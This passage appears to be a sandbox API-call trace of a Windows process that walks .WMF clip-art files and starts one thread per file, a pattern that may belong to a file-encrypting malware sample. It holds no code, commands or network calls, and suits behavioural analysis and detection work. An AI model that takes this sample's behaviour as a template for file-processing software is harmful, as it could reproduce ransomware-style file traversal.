	[0251.250] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2090, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00191_.WMF", cAlternateFileName="")) returned 1
	[0251.250] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25d4
	[0251.251] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.252] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00192_.WMF", cAlternateFileName="")) returned 1
	[0251.252] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25d8
	[0251.443] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.560] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f0d2600, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1f0d2600, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x27c0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00194_.WMF", cAlternateFileName="")) returned 1
	[0251.560] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25e0
	[0251.562] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.563] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x238c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00197_.WMF", cAlternateFileName="")) returned 1
	[0251.563] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25dc
	[0251.564] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.565] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19174500, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19174500, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x15fe, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00199_.WMF", cAlternateFileName="")) returned 1
	[0251.565] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25e8
	[0251.566] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.567] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16b4eb00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16b4eb00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2926, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00200_.WMF", cAlternateFileName="")) returned 1
	[0251.567] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25ec
	[0251.568] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.569] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd90f00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd90f00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00208_.WMF", cAlternateFileName="")) returned 1
	[0251.569] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25f0
	[0251.571] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.571] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b20100, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b20100, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x4f72, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00212_.WMF", cAlternateFileName="")) returned 1
	[0251.583] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25f4
	[0251.584] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.585] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f74, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00221_.WMF", cAlternateFileName="")) returned 1
	[0251.585] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25f8
	[0251.587] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.587] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e5c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00222_.WMF", cAlternateFileName="")) returned 1
	[0251.587] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25fc
	[0251.589] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.590] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3642, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00223_.WMF", cAlternateFileName="")) returned 1
	[0251.590] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2600
	[0251.592] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.592] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf553ff00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf553ff00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x476e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00257_.WMF", cAlternateFileName="")) returned 1
	[0251.592] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.593] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2604
	[0251.813] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.839] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7c6d00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f7c6d00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0xd8e0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00289_.WMF", cAlternateFileName="")) returned 1
	[0251.839] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2608
	[0251.846] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.847] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba531a00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba531a00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x10cb8, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00299_.WMF", cAlternateFileName="")) returned 1
	[0251.847] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260c
	[0251.849] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.850] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d82d600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d82d600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7a04, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00305_.WMF", cAlternateFileName="")) returned 1
	[0251.850] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2610
	[0251.852] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.853] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b207c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b207c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xee4a, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00333_.WMF", cAlternateFileName="")) returned 1
	[0251.853] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2614
	[0251.854] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.855] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0e04300, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0e04300, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x8b96, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00345_.WMF", cAlternateFileName="")) returned 1
	[0251.855] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2618
	[0251.856] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.857] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0xbbe0, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00350_.WMF", cAlternateFileName="")) returned 1
	[0251.857] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x261c
	[0251.859] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.859] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb844700, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb844700, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x934c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00352_.WMF", cAlternateFileName="")) returned 1
	[0251.859] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2620
	[0251.861] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.861] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30533400, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30533400, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1948, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00364_.WMF", cAlternateFileName="")) returned 1
	[0251.861] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2624
	[0251.863] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.864] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31846100, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31846100, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x51ea, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00367_.WMF", cAlternateFileName="")) returned 1
	[0251.864] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2628
	[0251.866] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.867] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3308, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00373_.WMF", cAlternateFileName="")) returned 1
	[0251.867] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x262c
	[0251.869] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.869] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b58e00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b58e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x27f4, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00382_.WMF", cAlternateFileName="")) returned 1
	[0251.869] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2630
	[0251.871] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.871] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27894f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27894f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00390_.WMF", cAlternateFileName="")) returned 1
	[0251.871] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2634
	[0251.874] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0251.874] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c49b00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22c49b00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00391_.WMF", cAlternateFileName="")) returned 1
	[0251.874] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0251.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2638
	[0252.259] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.295] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e57d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59e57d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x704e, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00416_.WMF", cAlternateFileName="")) returned 1
	[0252.295] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x263c
	[0252.296] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0252.297] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36491500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36491500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x143c, dwReserved0=0x72, dwReserved1=0x0, cFileName="SO00423_.WMF", cAlternateFileName="")) returned 1
	[0252.297] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0252.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2640
	[0252.298] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
